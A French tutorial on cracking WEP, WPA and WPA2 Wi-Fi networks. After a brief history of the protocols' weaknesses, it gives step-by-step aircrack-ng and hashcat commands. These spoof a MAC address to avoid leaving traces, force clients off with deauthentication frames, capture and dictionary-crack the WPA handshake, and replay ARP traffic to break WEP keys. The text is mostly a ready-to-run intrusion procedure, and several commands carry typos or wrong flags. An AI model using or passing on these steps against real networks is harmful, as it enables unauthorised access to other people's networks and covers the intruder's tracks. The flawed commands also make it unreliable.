Tutoriel comment cracker un réseau wifi en WPA, WPA2 ou WEP

Pentesting d'un réseau wifi, ou comment cracker les sécurités obsolètes des différents protocoles WIFI (WPA2,WPA, WEP) et s'introduire sur un réseau sans fils

  Publié le

Tour d'horizon des faiblesses du wifi :

L'idée de cet article est de faire un bref tour d'horizon des techniques d'attaque d'un réseau protégé par du wifi et de mettre en valeur les points faibles de cette technologie grâce aux techniques de hacking wifi. Puis d'expliquer et de détailler les différentes méthodes de hack sur le protocole WPA2 et WEP.

Le wifi c'est quoi ?

Le Wifi est un système de communication sans fil qui permet de relier entre eux plusieurs équipements (pc,téléphone,tablette,imprimante,etc.). Il utilise différents protocoles de chiffrement pour communiquer.

Chacun de ces protocoles s'appuie lui-même sur des standards cryptographiques (qui peuvent eux-mêmes comporter des faiblesses, et qui sont plus ou moins bien intégrer minorant ou optimisant ces faiblesses).

WEP (Wired Equivalent Privacy ou 802.11)

Le WEP est le protocole de chiffrement natif du Wifi défini comme norme de chiffrement en 1999. La première vulnérabilité potentielle découverte date de septembre 1995 et concerne l'algorithme de chiffrement RC4.

Les faiblesses et failles sont ensuite découvertes à la chaine :

  • Mai 2001 : plaintext attack
  • Juillet 2001 : bit flipping sur la somme de contrôle CRC-32
  • Août 2001 : attaque FMS
  • Février 2002 : Optimisation de l'attaque FMS
  • Août 2004 : Attaque par IVs unique de KoreK (chopper et chopchop)

Des outils permettant d'utiliser ces différentes attaques voient le jour comme Weblab et Aircrack en juillet et août 2004. En 2010 des équipements autonomes sont commercialisés illégalement. Ils offrent la possibilité de cracker la clé de chiffrement d'un réseau chiffré en WEP sans avoir besoin de connaissance spécifique ni d'intervention humaine.

WPA et WPA2 (Wi-Fi Protected Access ou 802.11i)

Le WPA est le successeur direct du WEP. Là encore, l'effort est notable, mais cette fois c'est le processus d'échange (PSK : Pre Shared Key) des clés de cryptages qui rend cette technologie possiblement vulnérable.

  • Novembre 2008 : Attaque Beck et Tews (sur WPA TKIP)
  • Août 2009 : Amélioration de l'attaque Beck et Tews (toujours sur WPA TKIP)
  • Juillet 2010 : Vulnérabilité Hole 196 (WPA2 CMMP)
  • Octobre 2017 : Vulnérabilité Krack (WPA et WPA2)
  • ????? : Vulnérabilité de l'authentification WPS (WPA et WPA2)
  • ????? : Attaque hors ligne après capture du hand shake (WPA2-PSK et antérieur)
  • ????? : Vulnérabilité de désauthentification (WEP,WPA,WPA2)
  • ????? : Vulnérabilité d'émulation d'adressage MAC (WEP,WPA,WPA2)

Avec l'arrivée massive des nouvelles cartes graphiques comportant un GPU de type CUDA et du logiciel HashCat, il est possible d'effectuer une attaque "hors ligne" complètement indétectable pour le réseau ciblé avec un taux de tentatives de résolution du mot de passe par seconde extrêmement élevée.

Principe général pour effectuer un hack wifi :

Le concept général de hack wifi est toujours le même soit :

  1. modification de l'adresse mac de la carte réseau qui va réaliser l'attaque.
  2. mise en écoute de l'ensemble du trafic wifi.
  3. ciblage d'un réseau spécifique
  4. interception des trames réseaux.
  5. décryptage de la clé d'échange.
  6. connexion sur le réseau cible.

Quatres logiciels serviront dans cette optique :

airodump-ng : permet la capture de trames réseaux, c'est lui qui scan les réseaux et conserve les paquets.
aireplay-ng : pour forger et envoyer de paquets.
aircrack-ng : pour cracker la clé (si WEP).

hashcat : pour cracker la clé (si WPA/WPA2).

Pré requis logiciel :

  1. Un pc équipé du système d'exploitation Kali Linux
  2. Une carte réseau wifi permettant le mode monitor et injection (conseillé chipset Realtek 8187L)
  3. Un point d'accès wifi (de votre réseau)

Mise en oeuvre des méthodes communes de hack wifi

L'ensemble des actions suivantes sont à réaliser en mode sudo dans un shell (terminal).

Lister ses cartes réseau

Lister les cartes réseaux présentent sur l'ordinateur. Pour cela on utilise la commande iwconfig.

iwconfig

Lister ses cartes réseau wifi compatibles

La suite aircrack permet de détecter les cartes réseau qui sont compatibles et qui permettent d'effectuer des attaques sur les réseaux wifi.

airmon-ng

Désactiver la carte réseau

L'interface wlan0 correspond à la carte réseau à désactiver. La valeur entière à la suite du wlan peut être différente suivant votre matériel.

ifconfig wlan0 down 

Modifier l'adresse MAC de la carte réseau

Pour ne pas laisser de traces par la suite ou dans le cas d'un contrôle par adresse mac. On assigne à la carte réseau une fausse adresse mac. Pour ce faire on utilise le logiciel "macchanger" avec le paramètre -m. (XX:XX:XX:XX:XX:XX : l'adresse mac que vous souhaitez assigner à votre carte réseau et le dernier paramètre correspondant à la carte réseau). Il est important de souligner que les deux premiers caractères ne peuvent correspondre qu'au constructeur de votre carte réseau et ne peuvent donc pas différer des valeurs par défaut.

macchanger –m XX:XX:XX:XX:XX:XX wlan0

Réactiver la carte réseau

Puis on réactive la la carte réseau grâce à la commande :

ifconfig wlan0 up

Pour enfin la passer la carte en mode monitoring. Le mode moniteur permet d'écouter tout le trafic d'un réseau sans fil sans avoir besoin d'associer la carte réseau à un routeur.

iwconfig wlan0 mode monitor 

Créer une interface en mode monitor correspondant à la carte réseau

On génère l'interface entre la carte réseau et le logiciel airmong-ng.

airmong-ng start wlan0

Scanner les réseaux disponibles à portés

Puis on scanne les réseaux disponibles en filtrant par rapport au protocole d'encryptage souhaité (XX : le protocole de chiffrement recherché : wep, wpa ou wpa2).

airodump-ng -–encrypt XX wlan0

Mise en oeuvre d'un hack wifi (attaque) spécifique au WPA/WPA2 :

Deux possibilités :

  • écouter l'ensemble des trames d'un réseau wifi et attendre qu’un périphérique effectue une connexion.

  • écouter l'ensemble des trames d'un réseau wifi et envoyer une trame de déconnexion à un périphérique déjà connecté pour l'obliger à se reconnecter.

Cibler un réseau spécifique :

Une fois un réseau cible détecté ,on arrête le balayage des fréquences.

Puis on redémarre airodump-ng en lui précisant 2 paramètres :

  • --bssid bssid (l'adresse mac du routeur responsable du réseau wifi à cracker ou XX:XX:XX:XX:XX:XX correspond à l'adresse mac du routeur cible)
  • -w le fichier de sortie où serons enregistré les informations.
airodump-ng --bssid xx:xx:xx:xx:xx:xx -w info wlan0

Airodump-ng nous retourne la liste des adresses macs des équipements connectés sur le réseau dans la colonne "stations". Il suffit alors de forger et d'envoyer une trame de déconnexion.

XX:XX:XX:XX:XX:XX : l'adresse mac du routeur cible et yy:yy:yy:yy:yy:yy: l'adresse mac de l'équipement cible.

aireplay-ng -0 2 -a xx:xx:xx:xx:xx:xx -c yy:yy:yy:yy:yy:yy wlan0

Une fois la trame envoyée, l'équipement se déconnecte et tente de se reconnecter, l'opération est transparente pour l'utilisateur du périphérique.

Le périphérique transmet donc au routeur le WPA Handshake (comprenez la somme de contrôle du mot de passe) qui est capturée et ajouter dans le fichier info.cpa.

On peu fermer toute les terminaux et couper la carte wifi, le reste de l'attaque s'effectue hors ligne.

Mise en conformité du Handshake grâce à cap2hccapx :

cap2hccapx info.cap WPA2_capture.hccapx

Décryptage du Handshake grâce à Hashcat avec une attaque par dictionnaires (on notera ici l'utilisation de deux dictionnaires) :

hashcat64.exe -m 2500 -a 6 -O -o WPA2_resolved.txt WPA2_capture.hccapx D:\Dictionnaires\ALL\dico_1.txt D:\Dictionnaires\ALL\dico_2.txt

Une fois le handshake résolu il est écrit dans le fichier WPA2_resolved.txt et retiré du WPA2_capture.hccapx.

NB : d'autres formes d'attaques existent avec hascat.

Mise en oeuvre d'un hack wifi (attaque) spécifique au WEP :

Les paramètres :

-a : l'adresse MAC du point d'accès

-b : l'adresse MAC du client

Ecouter un réseau spécifique et ecrire ses données dans un fichier

Ici nous ciblons un réseau chiffré en WEP émettant sur le canal 1 donc l'adresse mac du routeur vient remplacer XX:XX:XX:XX:XX:XX sur la carte réseau wlan0. Nous écrivons l'ensemble du contenu capturé dans le fichier file_out.cap.

airodump-ng -–write file_out.cap -–canal 1 -–encrypt wep –-bssid XX:XX:XX:XX:XX:XX wlan0

Emuler la présence d'un client du routeur

Supposons qu'aucun client ne transmet d'information au routeur il suffit alors de s'associer à celui-ci pour nous permettre de rejouer les trames.

aireplay-ng --fakeauth 0 –a XX:XX:XX:XX:XX:XX wlan0

Attaque arp replay

Ici nous rejouons les trames collectées dans le fichier arp_packet.cap et nous transmettons les 500 trames par seconde au routeur. Si on revient dans la console qui exécute airodump-ng on constate l'augmentation des #Datas. À partir de 10000 #Datas ont peu casser une clé WEP 64bits à 40000 #Datas il est possible de casser une clé WEP 128bits

aireplay-ng --arpreplay -b XX:XX:XX:XX:XX:XX -h CC:CC:CC:CC:CC:CC -x 500 -r file_out.cap wlan0

Cracker la clé de chiffrement

Pour calculer la clé de chiffrement il suffit de fournir en en premier paramètre -z le fichier qui contient les trames capturées (ici file_out.cap). Le protocole est plus ou moins long en fonction du nombre de trames reçues et du mot de passe, mais en règle générale cette action prend moins de 3 minutes.

aircrack-ng -z file_out.cap -0